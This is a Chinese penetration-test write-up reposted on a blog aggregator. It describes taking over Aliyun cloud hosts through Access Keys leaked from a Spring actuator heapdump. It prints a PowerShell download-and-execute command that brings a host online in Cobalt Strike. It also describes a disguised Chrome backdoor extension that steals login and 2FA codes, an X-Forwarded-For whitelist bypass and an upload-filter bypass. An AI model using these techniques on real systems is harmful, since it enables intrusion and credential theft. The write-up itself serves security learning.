记一次实战云渗透总结

news2024/10/3 10:40:41

点击星标,即时接收最新推文

fd88074877410b7ea0b202db660cb60b.png

云渗透思路

所谓的云渗透通常指SaaS或PaaS渗透,即将服务器端的某些服务搭建在云服务器上,源代码的开发、升级、维护等工作都由提供方进行。从原理上看,云渗透思路与传统渗透思路相差无几。站点必须由底层环境及源代码共同构建,因此会存在常规的Web漏洞(如SQL注入、弱口令、文件上传漏洞、网站备份泄露等)。但由于服务器上云或其部分功能模块被部署在云上,站点也可能对云服务器进行请求,所以除了常规的Web漏洞,新技术也会带来新的风险(如Access Key泄露利用、配置不当利用等问题)。

首先,需要了解何为Access Key。Access Key由云服务商颁发给云服务器的所有者,Access Key即所有者身份的证明。Access Key通常分为Access Key ID和Access Key Secret两个部分。当调用云服务器的某些API接口、某些服务或某些功能点时,可能需要使用Access Key对身份进行认证。因此,如果能获取对应云服务器的Access Key,就可以通过对应的Access Key完成身份认证,进而接管该云服务器。当然,每个云服务商为Access Key分配的权限不同,Access Key泄露可能造成的危害也不同。例如,阿里云为云服务器提供的Access Key是root用户,权限较大,能直接控制ECS;而AWS为云服务器提供的Access Key有限制,有些则是S3或者EC2,但并不一定都拥有上传或修改的权限。除此之外,对于常规渗透泄露出来的Access Key,可以通过特殊手段利用其获取目标镜像,还原VMware虚拟机或通过DiskGinus查看文件。

因此,在进行云环境渗透时,与常规渗透不同,攻击者将更关注是否存在敏感信息、Access Key泄露的情况,其他的渗透测试流程不变。首先,进行资产信息搜集(包括子域名查找、端口扫描、目录扫描、指纹识别等),在查找的过程中留意Access Key等密钥,它可能会在APK文件、GitHub仓库、Web页面、API接口、JavaScript文件、常规配置文件中出现,也可以使用FOFA、ZoomEye、Hunter等网络空间搜索引擎对Access Key等关键词进行查找。如果是AWS的云产品,还可以通过DNS缓存、buckets.grayhatwarfare查找。

当测试者发现Access Key后,通过行云管家、OSS Browser、API Explorer、AWS CLI等云服务器管理工具进行连接。

实战云渗透

1. RDS

关系数据库服务(Relational Database Service,RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。

RDS采用即开即用的方式,兼容MySQL、SQL Server两种关系数据库,并提供数据库在线扩容、备份回滚、性能监测及分析等功能。

RDS与云服务器搭配使用,可使I/O性能倍增,内网互通,避免网络瓶颈。

2. OSS

对象存储服务(Object Storage Service,OSS)是阿里云对外提供的海量、安全和高可靠的云存储服务。

3. ECS

云服务器(Elastic Compute Service,ECS)与传统数据中心机房的服务器相似,不同的是,云服务器部署在云端,由云服务商直接提供底层硬件环境,不需要人为采购设备。

4. 安全组

安全组是一种虚拟防火墙,具备状态检测和数据包过滤功能,用于在云端划分安全域。同一安全组内的ECS实例之间默认内网互通。

1. Spring敏感信息泄露

收集信息时,发现目标对应的三级子域名存在spring的接口未授权访问,在 /actuator/env下发现多个密码,且其中存在阿里云的Access Key,故尝试调用heapdump接口,下载内存,提取密文,如图所示。

caf04f59321d94e81ff79e6423820734.png

下载成功后,使用MemoryAnalyzer搜索转存下来的内存文件,获取阿里云的 Access Key密文,如图所示。

f8be81cf633e9e0095fd8d4519f9e526.png

f10ceacbaea83c4dfc2633ec2ea8f927.png

在dump的内存文件中还获取了一些内网的Redis和MySQL明文密码,后续如有需要可以使用,如图所示。

846cade1d3c892935b422debf1ac141c.png

2. 阿里云 Access Key命令执行

拿到阿里云的Access Key后,先查看是否存在云服务器,再查看是否存在存储桶。如图所示,这个Access Key对应的主机有十几台。

08c77c73ef639d7c411d137c24a99898.png

将所有存在的主机导出到文本中,并挑选重要的主机为测试目标,最后发现当前的 Access Key分配云服务器应该是测试网络的机器。因为存在多台测试服务器,所以并没有直接部署目标生产网应用服务相关的主机。但目标中有一台主机名为“xxx-跳板机”,名字极其敏感,我们判断它是目标管理人员对生成网系统进行管理的服务器,如图所示。

38ff231af3e070064e348ccbe6e9b101.png

于是打算先从这台主机开始测试,使用Cobalt Strike进行上线探测,命令如下:

Python AKSKTools.py –ak AccesskeyID –sk AccessKeySecret –r City –t RunBatScript –C "powershell.exe –nop –w hidden –c \"IEX((new-object new.webclient).downloadstring ('url'))\""

命令的截图如图所示。

c8db68fc6b209a8dc0d63ecd860aa648.png

最后成功上线,如图所示。

e8bd2e7cf8331d1ec0fb8b58449c762b.png

如图所示,该机器中存在多个管理账号,和最初的猜想一致。

52bbb7982e4cbf5e0f6a3c7d8a14f2e9.png

对该主机进行信息收集,获取到与账号对应的明文密码,还获取了部分信息:3389端口对外开放,当前用户只有admin1有进程;发现admin1使用Chrome打开了目标后台,并且浏览器记录了后台账号和密码(密码是123456),但后台有谷歌验证码(即双因素认证),所以即便有密码也无法登录,如图所示。

ea9e9171c22c0fb7236757e3ba72bdbb.png

后台是另一个域名,后台服务器也不在当前Key中,公网可以访问。在公网登录时,提示IP地址不在白名单内,不过修改XFF即可绕过,如图所示。

989422aaf5c239575ea4ed9120294882.png

019c7adeb45c5f5cb7d05b04b776b554.png

3. 使用阿里云Access Key开放防火墙

使用RDP协议远程连接3389端口,以查看浏览器记录和其他可能保存的密码,但是连接失败,原因大概率是配置了防火墙,并且只允许特定的出口IP地址访问此台服务器的3389端口(如图所示),所以弱口令问题泛滥。

a4b8c8c47e3d76670e2bbb7cd6c2bddd.png

收集特定的出口IP地址,并添加一条防火墙规则,让3389端口对跳板机开放,如图所示。

62abf4fa65ca595f0d9da76e53c63f02.png

使用完成后删除对应规则,如图所示。

c1c888a6bdaea2010175e7d2290e5be6.png

4. 编写Chrome后门插件,获取验证码

关键问题仍然在于需要获取谷歌验证码。可以利用谷歌验证码在一分钟内有效的特性,写一个Chrome后门插件,并将其伪装成最常用的百度统计或谷歌插件,利用它监控表单,窃取验证码,如图所示。

65832621f903868759c8b90a818cdb31.png

当事件被触发时,就将账号密码和验证码发送到远程服务器上,服务器等待接收即可。在目标电脑中打开开发者模式,载入刚刚写好的Chrome后门插件,如图所示。

aee8ca30fe1ea7e7a9f7c69b0bf3461a.png

前台登录测试,不管是单击“登录”按钮还是按回车键登录,都能获取三个值的信息,如图所示。

61384264d2550e737643dce89d6622df.png

隐藏对应插件,如图所示。

d5e0e0e41a74f83b3e5c3469c84698b9.png

修改插件,将这三个值发送到服务器上,然后存储到文件中,如图所示。

2de7e615f3ed5582b2ce56a043ba097b.png

编写PHP代码,并用其接收对应的参数,代码如图所示。

679f3ce7a785212d7e582db7730dad22.png

info.txt是日志记录,login.txt是方便程序调用的文件,如图所示。

6ca5f5c5d2082018656da5fba55036f0.png

5. 使用Selenium维持会话

后门配置成功后,次日便有账号进行登录操作。但由于其权限较低,且登录时间不固定,所以错过了登录后台的机会。

于是使用Selenium进行会话维持。之所以使用Selenium,是因为站点登录发送的数据包每次都会有随机的token和sign验证,无法重放,计算sign的JavaScript又使用了不可逆的JavaScript加密,所以直接使用Selenium最方便。当login.txt中出现新的账号和密码时,使用Selenium打开浏览器,并模拟用户输入账号、密码和谷歌验证码进行登录。若登录成功,则3秒刷新一次以维持权限,并导出Cookie发送邮件通知;否则退出浏览器,如图所示。

d44d8762ad4b0a74634c364a575d8470.png

通过努力又获得其他的账号,但权限较低,且进行增删改操作时都要二次验证。不过,既然需要如此频繁地使用验证码,那么不妨大胆猜测其他站点或资源也会频繁使用验证码。于是再次修改Chrome后门,劫持所有单击“登录”按钮或按回车键提交的表单数据,遍历数据寻找六位数的值来获取当前用户输入的谷歌验证码;再利用验证码添加用户。通过该后门,获取了用户账号的使用权限,并通过脚本自动添加了新的管理员,如图所示。

86ea44369bf4d4b81b23f4568a800b7e.png

6. 上传绕过的思路

针对已有的账号权限对站点进行简单测试,在发布公告处存在“任意文件上传+黑名单”过滤,检测到后缀为php则删除,如图所示。

上传           结果
     1.php     >      1.
    1.pphp     >      1.p
  1.pphphphpp  >     1.php

001bc13b79aad992eb8e946de6906769.png

7. 结束

测试者使用了很多技巧,如Spring读取星号密文、阿里云Access Key操作(读取示例、执行示例命令、添加策略)、谷歌插件编写、Selenium的使用。在渗透测试的过程中,技法永远不会那么单调

—  实验室旗下直播培训课程  —

c46cd0a11f835498b2f839200fd81b2f.png

5b2e2fe61ecafea28b7172fcae3bcebc.jpeg

e5f0e7a431ffc1ee41f9939e2c712cfa.jpeg8e234c69e1541e11c473c0cd673007e7.png

4db69ee6d5ce37c8ce71957cfdbb5a79.png

3cf92b0cc66a465b596213964d02764d.jpeg

94c01bfd912597df53b15c4948c04bff.jpeg

3847ef8daa5349a0cbabffd89b7e48c3.jpeg

79c387c3e4f1524ac0a1cc08a2298e77.png

和20000+位同学加入MS08067一起学习

607fc68102953f4cfb65b2d8a51c354a.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1362024.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python中的cls语法

在Python中,cls 是一个用于指代类本身的约定性名称,通常用作类方法(class method)中的第一个参数。cls 类似于 self,它是对类的引用,而不是对实例的引用。cls 通常在类方法中用于访问类级别的属性和方法。举…

Kafka消息阻塞:拯救面试的八大终极解决方案!

大家好,我是小米,一个对技术充满热情的90后程序员。最近在准备社招面试的过程中,遇到了一个超级有挑战性的问题:“Kafka消息阻塞怎么解决?”今天,我就来和大家一起深入剖析这个问题,分享我在解决…

1-02VS的安装与测试

一、概述 对于一名C语言程序员而言,进行C语言程序的开发一般需要一个文本编辑器加上一个编译器就足够了。但为了方便起见,我们选择使用集成开发环境——Visual Studio(简称VS)。安装Visual Studio 下面讲一下如何安装VS&#xff0…

找不到mfc110u.dll,是什么原因,五种找不到mfc110u.dll,的解决方法

在日常使用电脑的过程中,我们可能会遇到一些错误提示,其中之一就是“mfc110u.dll丢失”。那么,什么是mfc110u.dll文件?为什么会出现丢失的情况?本文将为您详细介绍mfc110u.dll文件的作用、丢失原因以及提供5种解决方法…

概率论基础知识补充

概率论基础知识 样本概率:P(x)表示样本x出现的概率,也就是在全体样本中出现的概率先验概率:对于多类问题,类别状态 ω i \omega_i ωi​出现的概率, P ( ω i ) P{\left(\omega_i\right)} P(ωi​)条件概率:在类别 ω…

关于图像分类任务中划分数据集,并且生成分类类别的josn字典文件

1. 前言 在做图像分类任务的时候,数据格式是文件夹格式,相同文件夹下存放同一类型的类别 不少网上的数据,没有划分数据集,虽然代码简单,每次重新编写还是颇为麻烦,这里记录一下 如下,有的数据…

win10关闭打开文件安全警告

1.使用场景 在流水线上,因车间刷软件的程序不能下发到每一台电脑上,会使用共享文件夹的形式来共享程序。每次打开会弹出一下窗口,影响员工生产。 需要将安全警告关闭。2.解决步骤 1.winR键打开运行窗口,输入gpedit.msc&#xff…

vue3 的内置组件汇总

官方给出的说明: Fragment: Vue 3 组件不再要求有一个唯一的根节点,清除了很多无用的占位 div。Teleport: 允许组件渲染在别的元素内,主要开发弹窗组件的时候特别有用。Suspense: 异步组件,更方便开发有异步请求的组件。 一、fr…

django学习:页面渲染与请求和响应

1.请求过程 2.页面渲染 在app中新建一个目录(Directory),文件名命名为templates。该文件名命名是固定的,不可命名出错,如若后续步骤出错,该目录文件名是一个检查的重点项目。在该目录下新建一个html文件&a…

软件测试|全面解析Docker Start/Stop/Restart命令:管理容器生命周期的必备工具

简介 Docker是一种流行的容器化平台,用于构建、分发和运行应用程序。在使用Docker时,经常需要管理容器的生命周期,包括启动、停止和重启容器。本文将详细介绍Docker中的docker start、docker stop和docker restart命令,帮助您全面…

通过cpolar在公网访问本地网站

通过cpolar可以轻松将本地网址映射到公网进行访问,下面简要介绍一下实现步骤。 目录 一、cpolar下载 二、安装 三、使用 3.1 登录 3.2 创建隧道 一、cpolar下载 cpolar官网地址:cpolar - secure introspectable tunnels to localhost 通过QQ邮箱…

视频剪辑实战:如何批量嵌套合并视频,提高剪辑效率必备技巧

在视频剪辑工作中,经常要处理大量的视频片段。要提高工作效率,批量嵌套合并视频成为了一项必备技巧。现在一起看看云炫AI智剪如何使用一些实用的技巧,快速、准确地完成批量嵌套合并视频的任务。 合并后的视频截图,由两段不同片段组…

Flutter+Go_Router+Fluent_Ui仿阿里网盘桌面软件开发跨平台实战-买就送仿小米app开发

Flutter是谷歌公司开发的一款开源、免费的UI框架,可以让我们快速的在Android和iOS上构建高质量App。它最大的特点就是跨平台、以及高性能。 目前 Flutter 已经支持 iOS、Android、Web、Windows、macOS、Linux 的跨平台开发。 Flutter官方介绍,目前Flutte…

Flutter3.X基础入门教程(2024完整版)

Flutter介绍: Flutter是谷歌公司开发的一款开源、免费的UI框架,可以让我们快速的在Android和iOS上构建高质量App。它最大的特点就是跨平台、以及高性能。 目前Flutter已经支持 iOS、Android、Web、Windows、macOS、Linux的跨平台开发。 教程所讲内容支持…

气动凝结水回收机组 浮球机械泵回收机组工作原理动画讲解介绍

​ 1:气动凝结水回收浮球机械泵介绍 气动凝结水回收是一种利用气动力转换产生负压的装置,可以将废气中的水分分离出来并回收利用。这种装置主要包含两个关键部件:气水分离器和气动运动控制阀。 气水分离器负责将进入回收装置的废气中的水分…

1、Excel工作场景和知识点总结

参考: 戴师兄–戴你玩转数据分析 Excel发挥战斗力的场景 地量级数据的存储 我们日常所用的各种数据表格,基本都以excel的.xlsx或者.xls格式进行存储。并且因为大家电脑上都有excel,这就使excel的通用性很高(我用excel做好一个表发给你&#x…

数据库-MySQL 启动方式

以管理员身份运行命令行 或者Shell net start //查看所有服务 net start MYSQL80 //启动服务 net stop MYSQL80 //停止服务完整安装MySQL社区版本的 会有这个 启动服务 停止服务 重启服务

游戏缺少x3daudio1_7.dll文件怎么办?x3daudio1_7.dll丢失总共有六个解决方法

导语:在计算机使用过程中,我们经常会遇到一些错误提示,其中之一就是“x3daudio1_7.dll丢失”。那么,x3daudio1_7.dll到底是什么文件呢?它的作用和影响又是什么呢?本文将为您详细介绍x3daudio1_7.dll的相关知…

【Filament】基于物理的光照(PBR)

1 前言 自定义Blinn Phong光照模型中实现了基础的自定义光照,与现实的光照还是有些差别,本文将实现更逼真的光照效果,即基于物理的光照(PBR)。 读者如果对 Filament 不太熟悉,请回顾以下内容。 Filament环…

python豆瓣实例,抓取多页数据-应用到知识点:随时数,xpath,间隔请求sleep

源代码: <!DOCTYPE html> <html lang="zh-CN" class="ua-windows ua-webkit"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="renderer" content=&q…